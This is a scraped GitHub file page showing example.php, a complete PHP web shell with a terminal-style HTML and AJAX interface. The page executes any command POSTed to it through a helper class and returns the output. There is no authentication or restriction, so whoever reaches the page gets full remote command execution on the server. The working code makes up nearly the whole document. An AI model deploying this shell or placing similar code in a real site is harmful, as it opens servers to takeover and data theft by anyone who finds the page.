forked from xiaoqidun/shell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexample.php
103 lines (98 loc) · 3.47 KB
/
example.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
/**
* @author 肖其顿 <xiaoqidun@gmail.com>
*/
$command = isset($_POST['command']) ? strval($_POST['command']) : "";
if ($command !== "") {
require 'shell.class.php';
echo shell::command($command, "echo pwd", true);
exit;
}
?>
<html>
<head>
<title>web shell</title>
<style type="text/css">
.author {
width: 100%;
color: white;
text-align: center;
background-color: black;
}
.commandInput {
width: 100%;
height: 3%;
color: white;
background-color: black;
}
.commandResult {
width: 100%;
height: 75%;
color: white;
overflow: scroll;
background-color: black;
}
.commandHistory {
width: 100%;
height: 15%;
color: white;
overflow: scroll;
background-color: black;
}
</style>
<script type="text/javascript">
function enter() {
if (event.keyCode == 13) {
command();
}
}
function command() {
var commandInput = document.getElementById('commandInput');
if (commandInput.value.length > 0) {
var commandResult = document.getElementById('commandResult');
var commandHistory = document.getElementById('commandHistory');
if (commandHistory.innerHTML.length < 1) {
commandHistory.innerHTML = commandInput.value;
} else {
commandHistory.innerHTML = commandHistory.innerHTML + "\n" + commandInput.value;
}
commandHistory.scrollTop = commandHistory.scrollHeight;
if (commandInput.value === 'clear') {
commandInput.value = "";
commandResult.innerHTML = "";
commandHistory.innerHTML = "";
return;
}
command_ajax();
}
}
function command_ajax() {
var xmlHttp = new XMLHttpRequest;
var commandInput = document.getElementById('commandInput');
var commandResult = document.getElementById('commandResult');
xmlHttp.open("POST", "?", true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send("command=" + encodeURI(commandInput.value));
commandInput.value = "";
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState === 4 && xmlHttp.status === 200) {
if (commandResult.innerHTML.length < 1) {
commandResult.innerHTML = xmlHttp.responseText;
} else {
commandResult.innerHTML = commandResult.innerHTML + "\n" + xmlHttp.responseText;
}
commandResult.scrollTop = commandResult.scrollHeight;
}
}
}
</script>
</head>
<body>
<input id="commandInput" class="commandInput" onkeydown="enter()" placeholder="command">
<pre id="commandHistory" class="commandHistory"></pre>
<pre id="commandResult" class="commandResult"></pre>
<div class="author">
CopyRight © 2017-<?= date("Y") + 1 ?> xiaoqidun@gmail.com All Rights Reserved
</div>
</body>
</html>